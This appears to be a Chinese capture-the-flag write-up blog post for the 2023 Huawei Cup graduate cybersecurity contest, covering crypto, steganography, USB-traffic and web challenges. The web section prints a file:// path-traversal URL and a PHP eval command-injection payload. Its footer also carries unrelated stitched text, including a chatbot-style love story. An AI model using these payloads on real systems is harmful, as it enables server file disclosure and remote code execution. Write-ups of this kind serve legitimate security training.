2023华为杯·第二届中国研究生网络安全创新大赛初赛 Writeup

前言

感谢跟我坐了一天大牢的队友~
wp是赛后复现写的,web环境当时没有做好截图

这里是引用

题解

A_Small_Secret

题目压缩包中有一个提示和另一个压缩包On_Zen_with_Buddhism.zip,提示内容如下:
在这里插入图片描述
直接把提示放到basecrack中跑一下
在这里插入图片描述
解密的结果asdadad就是On_Zen_with_Buddhism.zip的解压密码
在这里插入图片描述
打开txt可以比较明显的看到PK文件头,进一步确认可以看出是一个word文件,因此把flag.txt文件后缀改为docx,用word打开后把所有文字的颜色修改一下即可看到关键信息
flag{U2FsdGVkX1/nVMt/cXalqwb8VpS2mDk9UkTaHRPPq5TAtH8XxYVAwxtoDKe/yTN4 zBas0WHmW50e2QwglywbKyCRNsVxaKsbwwdDlcBEg20=}
将密文部分用AES算法进行解密,密码就是压缩包的解压密码asdadad,
在这里插入图片描述
最后解一下base64即可
在这里插入图片描述

next-prime

题目如下:

from Crypto.Util.number import *
from gmpy2 import next_prime, iroot
from flag import flag
assert flag[0:4]==b'flag'

m = bytes_to_long(flag)
assert size(m)<500

p = getPrime(512)
q = next_prime(p)

n = p * q
print('n=', n>>520)
e = 0x10001
c = pow(m, e, n)
print('c=', c)

'''
n= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120
'''

这里主要的考点是n的后520位被抹掉了,但是由于p,q之间非常接近,并且n的低位对开方的影响比较小并且p,q都是质数,因此我们可以尝试爆破符合条件的p和q,wp如下:

import gmpy2
from Crypto.Util.number import *
from sympy.ntheory import prevprime,nextprime

n= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120
e= 0x10001
mid=gmpy2.iroot(n<<520,2)[0]
while (mid*nextprime(mid))>>520!=n or not isPrime(mid):
	mid-=2
	p=mid
	q=nextprime(p)
	d=gmpy2.invert(e,(p-1)*(q-1))
	if b'flag' in long_to_bytes(pow(c,d,p*q)):
		print(long_to_bytes(pow(c,d,p*q)))

loopQR

开局一堆图
在这里插入图片描述
用Stegsolve随便打开一张图片,可以在不同颜色通道上看到二维码图片
在这里插入图片描述
参考Boogipop师傅编写解密脚本如下:

from pyzbar.pyzbar import decode
from PIL import Image
import os

def decode1(img, channel, index=0):
    if channel in img.mode:
        new_image = Image.new('1', img.size)
        new_image_data = new_image.load()

        img_data = img.load()
        channel_index = img.mode.index(channel)

        for x in range(img.size[0]):
            for y in range(img.size[1]):
                color = img_data[x, y]
                channel = color[channel_index]
                plane = bin(channel)[2:].zfill(8)
                try:
                    new_image_data[x, y] = 255 * int(plane[abs(index - 7)])
                except IndexError:
                    pass
        return new_image

def decode2(image_path):
    img = Image.open(image_path)
    for channel in img.mode:
        green_plane_image = decode1(img, channel, 0)
        decoded_objects = decode(green_plane_image)
        if decoded_objects:
            decoded_text=decoded_objects[0].data.decode('utf-8')
            print(f"{file},信道为{channel},二维码内容为:{decoded_text},")
            return decoded_text
        else:
            continue
    return None

if __name__ == "__main__":
    res=""
    for file in os.listdir("./"):
        if file.endswith(".png"):
            decoded_text = decode2(file)
            if decoded_text:
                res+=decoded_text
            else:
                print(f"failed")
    print(res)

放到跟图片同一目录下运行即可得到flag

easyeval

web签到题,赛后复现截图较少,源码如下:

<?php
show_source(__FILE__);
#dasdjf.php
$ysy = $_GET['ysy'];
$parts = parse_url($ysy);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    exit('error');
}
readfile($ysy);
?>

看题目的意思是要我们读取dasdjf.php文件,直接访问的话会显示一个 你想干嘛!!!
可以直接用file协议绕过

?ysy=file://localhost/../../../../../var/www/html/dasdjf.php

读出dasdjf.php的源码如下:

<?php
if(isset($_GET['a'])){
	$a=$_GET['a'];
	if(preg_match("/system|exec|highlight/i", $a) && !(preg_match("/flag|cat/i", $a))){
		eval($a);
	}else{
		die("error");
	}
}else{
	echo "你想干嘛!!!";
}
?>

poc如下:

?a=system('tac /fla?.txt');

Mysterious_Port

题目给了一个压缩包和一个流量包,压缩包需要密码打开,流量包中发现了很多键盘流量数据,首先在kali中利用如下命令分离出键盘流量

tshark -r usb.pcapng -T fields -e usb.capdata > usbdata.txt

接下来使用下面的脚本进行处理

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('usbdata.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

得到解压密码:!@#qwer123_DASCTF_okok
在这里插入图片描述
解压压缩包看到另一个流量包port.pcapng,分析流量包可以发现每次传输都是5个字符且具有显著的base64加密特征
在这里插入图片描述
按照端口的顺序提取字符可以发现base64编码是重复的内容,解密出来之后发现不是flag
ZmxhZyBpcyBoZXJlISEh5qyi6L+O5p2l5YiwREFTQ1RGIQ==
在这里插入图片描述
根据题目提示4进制可以发现flag是通过端口号进行传递的,以200端口号为每个字符之间的分割
在这里插入图片描述
首先通过脚本把端口号处理成下面的样子,有部分握手和挥手的数据包需要单独处理
在这里插入图片描述
接下来利用下面的脚本即可得到flag

f=open('2.txt','r')
lines=f.readlines()
res=[]

t=''
for line in lines:
	line=line.strip()
	print(line)
	if line=='200':
		res.append(t)
		t=''
		continue
	t+=line[-1]
	
print(res)
flag=''
for i in res:
	flag+=chr(int(i,4))
print(flag)

最后得到:
在这里插入图片描述
DASCTF{67011b0c-ba47-488f-9beb-283e7352e35e

其他师傅的wp

剩下题目的wp请参考其他师傅写的一些wp,他们分别是:Boogipop师傅雨后初霁师傅ZimaBlue师傅
如果有其他疑问欢迎评论区留言~

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考 信息安全竞赛相关程序代码、设计文档、使用说明,供参考
Yes, certainly! Here's a short love story in 300 words: Once upon a time, in a small village in China, there lived a young man named Liang. He was a hardworking farmer, but he lived a lonely life with no one to share his joys or sorrows. One day, he met a beautiful woman named Mei, who had just moved into the village. Liang was immediately taken with her and started visiting her every day. Slowly but surely, the two fell deeply in love. Their happiness was short-lived. Mei's family was wealthy and powerful, and they didn't approve of her relationship with Liang, who was poor and had no status in society. Despite their objections, Liang and Mei continued to pursue their love. They met in secret, stealing moments together whenever they could. One day, Mei's family found out and forbade her to see Liang again. Distraught, Mei begged her family to let her be with the man she loved. When they refused, she ran away from home and eloped with Liang. They started a new life together far away from their village. Although they were poor and faced many hardships, they were happy because they were together. They worked hard and built a home and a family of their own. Years passed, and Mei's family regretted their decision. They realized that Liang was a good man who loved their daughter dearly. They sought them out and asked for forgiveness. Liang and Mei forgave them, and they all became a family once again. And so, Liang and Mei lived happily ever after, having overcome all obstacles to be together. Their love story is a testament to the power of love and the strength of the human spirit.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

monster663

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值